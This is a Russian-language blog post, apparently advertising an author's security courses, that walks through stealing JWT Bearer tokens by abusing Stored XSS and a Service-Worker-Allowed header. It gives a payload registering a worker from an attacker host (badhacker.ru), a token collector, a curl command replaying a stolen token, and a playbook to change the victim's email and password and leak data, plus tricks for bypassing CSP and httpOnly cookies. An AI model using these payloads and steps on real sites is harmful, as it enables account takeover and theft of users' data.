Авторские курсы Михаила Тарасова

Хищение токенов через Service Workers — приписал scope пошире и перехватил запросы

Хищение токенов через Service Workers — приписал scope пошире и перехватил запросы

• Что вижу: На сайте в каком-нибудь занюханном разделе /blog есть жирная Stored XSS. А основной сок — SPA-приложуха — живёт в корне и общается с /api по JWT, передавая его в заголовке Authorization: Bearer .... Вишенка на торте: сервер, отдающий JS, шлёт заголовок Service-Worker-Allowed: /. Это не фича, это приглашение на пати.

• Как поймал: Нашёл XSS обычным фаззингом через Burp Intruder. Проверил заголовки ответа для JS-файлов через curl -I https://target.com/assets/main.js и увидел заветный Service-Worker-Allowed.

• Чем пахнет: Тотальный захват аккаунтов (Account Takeover). Вероятность — 9 из 10. Если есть XSS и этот заголовок, считай, ты уже админ.

Че почем
• Эксплойт: Двухэтапный. Сначала регистрируем нашего троянского воркера через XSS. Пейлоад для уязвимой страницы:
<script>navigator.serviceWorker.register('https://badhacker.ru/sw.js', {scope: '/'})</script>
Затем сам sw.js, который ты хостишь у себя. Его задача — слушать все запросы и тырить токены.

• Обход защиты: Главный трюк — это эксплуатация Service-Worker-Allowed: /. Без него браузер не даст скрипту из /blog зарегистрировать воркер для корневого скоупа /. Если этого заголовка нет, ищи XSS в корне. Или ищи JSONP-эндпоинт, который позволит тебе обернуть регистрацию воркера в коллбэк.

• Доказательство: Открой в браузере жертвы DevTools -> Application -> Service Workers. Видишь свой sw.js со статусом activated and is running и scope: /? Поздравляю. Теперь жди, пока юзер сделает любой запрос к API. На твоём collector.php появится свежий, как утренний эспрессо, Bearer токен. Это не фото кота, это прямой доступ к чужому аккаунту.

Советы:
Если зацепился, вот тебе план, как размотать этот клубок до конца:
1. Заливаешь свой sw.js на хостинг. Не забудь настроить CORS (Access-Control-Allow-Origin: *) и отдать заголовок Service-Worker-Allowed: /, чтобы всё было гладко.
2. Эксплуатируешь XSS, чтобы внедрить скрипт регистрации воркера. Лучше всего Stored XSS, чтобы он ждал свою жертву вечно.
3. Терпеливо мониторишь логи своего сниффера (collector.php).
4. Как только токен прилетел — используешь его для доступа к API через Postman или curl. Пример: curl -H "Authorization: Bearer < украденный_токен >" https://target.com/api/v1/me.
5. Ты внутри. Дальше — по обстоятельствам: меняй почту, пароль, сливай данные.

А если застрял, вот тебе три вектора для размышлений:
• CSP блочит твой домен? Не беда. Ищи на целевом сайте уязвимость типа File Upload. Залей свой sw.js туда. Теперь скрипт будет грузиться с легитимного домена, и CSP заткнется.
• Токены в httpOnly куках? Воркер их напрямую не прочитает. Но он — MITM в браузере. Подменяй ответы от сервера, внедряй в страницы свой JS, который заставит браузер сделать запрос на твой домен, и куки прикрепятся автоматически. Грязно, но работает.
• Ничего не выходит? Иди спать, бро. Или попробуй поискать XSS в другом месте, может, в поддомене, который имеет доступ к кукам основного домена (domain=.target.com). Иногда дыра не там, где ищешь.

Мои курсы